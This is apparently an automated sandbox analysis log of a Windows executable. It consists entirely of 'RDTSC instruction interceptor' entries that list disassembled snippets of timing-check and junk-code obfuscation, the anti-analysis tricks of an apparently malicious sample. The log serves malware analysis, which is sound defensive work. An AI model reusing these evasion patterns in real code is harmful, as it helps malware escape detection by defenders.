Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240D08 second address: 240D18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8FAD4EAD5Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23FC8B second address: 23FC8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E02 second address: 240E42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnc 00007F8FAD4EAD5Eh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8FAD4EAD5Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E42 second address: 240E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E46 second address: 240E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E4C second address: 240E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E56 second address: 240E7B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8FAD4EAD66h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E7B second address: 240E8D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8FACDB0566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F8FACDB0566h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240E8D second address: 240E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240FDE second address: 240FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24318E second address: 2431A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD65h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 247776 second address: 24779D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0574h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F8FACDB0566h 0x00000012 jc 00007F8FACDB0566h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24779D second address: 2477A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2477A7 second address: 2477D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8FACDB056Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8FACDB056Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2477D2 second address: 2477DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F8FAD4EAD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 20C0F9 second address: 20C118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007F8FACDB0566h 0x0000000f jmp 00007F8FACDB056Fh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 246AF6 second address: 246B05 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 246B05 second address: 246B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 246F54 second address: 246F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 246F5B second address: 246F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0578h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F8FACDB056Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2472A8 second address: 2472E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8FAD4EAD5Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jl 00007F8FAD4EAD71h 0x00000018 jmp 00007F8FAD4EAD65h 0x0000001d je 00007F8FAD4EAD56h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24747E second address: 247483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AC4D second address: 24AC52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AC52 second address: 24AC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24ADBB second address: 24ADD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F8FAD4EAD5Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F8FAD4EAD56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AEAA second address: 24AEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F8FACDB0568h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AEBE second address: 24AEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AEC2 second address: 24AECB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AFC0 second address: 24AFC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AFC4 second address: 24AFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24AFCA second address: 24AFD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B47F second address: 24B483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B542 second address: 24B546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B546 second address: 24B551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B697 second address: 24B69D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B799 second address: 24B79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B970 second address: 24B976 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B976 second address: 24B97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B97C second address: 24B9A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8FAD4EAD5Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24B9A6 second address: 24B9AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24BA85 second address: 24BABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8FAD4EAD5Fh 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 adc di, 3848h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8FAD4EAD5Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24BFB5 second address: 24BFBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24BFBF second address: 24BFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24DED2 second address: 24DF46 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8FACDB056Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d adc si, 271Ah 0x00000012 push 00000000h 0x00000014 jmp 00007F8FACDB056Bh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F8FACDB0568h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 call 00007F8FACDB0577h 0x0000003a or si, 48FFh 0x0000003f pop esi 0x00000040 xor esi, 757A58FFh 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 jns 00007F8FACDB0568h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24F01A second address: 24F069 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8FAD4EAD58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F8FAD4EAD5Ch 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F8FAD4EAD58h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov di, 64C6h 0x00000032 push 00000000h 0x00000034 sub dword ptr [ebp+12444E5Bh], edi 0x0000003a push eax 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e jnp 00007F8FAD4EAD56h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24C7DD second address: 24C7E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24C7E1 second address: 24C7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 250FD5 second address: 25101C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D2627h] 0x0000000f jne 00007F8FACDB0566h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F8FACDB0568h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 mov esi, dword ptr [ebp+122D3849h] 0x00000039 clc 0x0000003a xchg eax, ebx 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e jne 00007F8FACDB0566h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2523CE second address: 2523D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25506D second address: 2550D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D3AA1h] 0x0000000d push 00000000h 0x0000000f adc di, 1F8Fh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F8FACDB0568h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 jmp 00007F8FACDB056Fh 0x00000035 xchg eax, esi 0x00000036 jmp 00007F8FACDB0578h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push ebx 0x0000003f jmp 00007F8FACDB056Ah 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 257355 second address: 257379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD63h 0x00000007 pushad 0x00000008 ja 00007F8FAD4EAD56h 0x0000000e jbe 00007F8FAD4EAD56h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 201FE2 second address: 201FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 201FE8 second address: 201FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 201FEE second address: 202010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F8FACDB0572h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 257979 second address: 257980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25B6BA second address: 25B720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8FACDB056Eh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F8FACDB0568h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F8FACDB0568h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 sub dword ptr [ebp+122D1D78h], esi 0x0000004a push 00000000h 0x0000004c mov edi, ecx 0x0000004e xchg eax, esi 0x0000004f push edx 0x00000050 js 00007F8FACDB056Ch 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25C7AE second address: 25C7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25F629 second address: 25F693 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8FACDB056Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d or ebx, dword ptr [ebp+122D39C5h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F8FACDB0568h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f adc di, 9B26h 0x00000034 push 00000000h 0x00000036 or edi, 5BDB6861h 0x0000003c xchg eax, esi 0x0000003d push ebx 0x0000003e jmp 00007F8FACDB0575h 0x00000043 pop ebx 0x00000044 push eax 0x00000045 push ecx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25F693 second address: 25F699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25527B second address: 255299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8FACDB0574h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 255299 second address: 25529D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25529D second address: 2552A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 257B41 second address: 257B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F8FAD4EAD58h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F8FAD4EAD5Ch 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 258A8F second address: 258A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 258A99 second address: 258B26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F8FAD4EAD58h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov di, AD87h 0x00000030 mov edi, dword ptr [ebp+122D1C30h] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov edi, 512F4E37h 0x00000042 mov eax, dword ptr [ebp+122D0571h] 0x00000048 pushad 0x00000049 mov bh, 83h 0x0000004b mov dword ptr [ebp+12458071h], ebx 0x00000051 popad 0x00000052 push FFFFFFFFh 0x00000054 add dword ptr [ebp+124567F9h], edx 0x0000005a jmp 00007F8FAD4EAD69h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 jno 00007F8FAD4EAD56h 0x00000069 pop esi 0x0000006a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 258B26 second address: 258B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 258B30 second address: 258B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25AA65 second address: 25AA6A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25AB28 second address: 25AB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2606ED second address: 2606F7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8FACDB0566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 261763 second address: 261769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 25E99E second address: 25E9D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8FACDB0576h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F8FACDB056Ch 0x00000012 pushad 0x00000013 jl 00007F8FACDB0566h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 260983 second address: 260989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 265E1C second address: 265E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 265E20 second address: 265E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 265E26 second address: 265E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 268E92 second address: 268E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 268E98 second address: 268E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
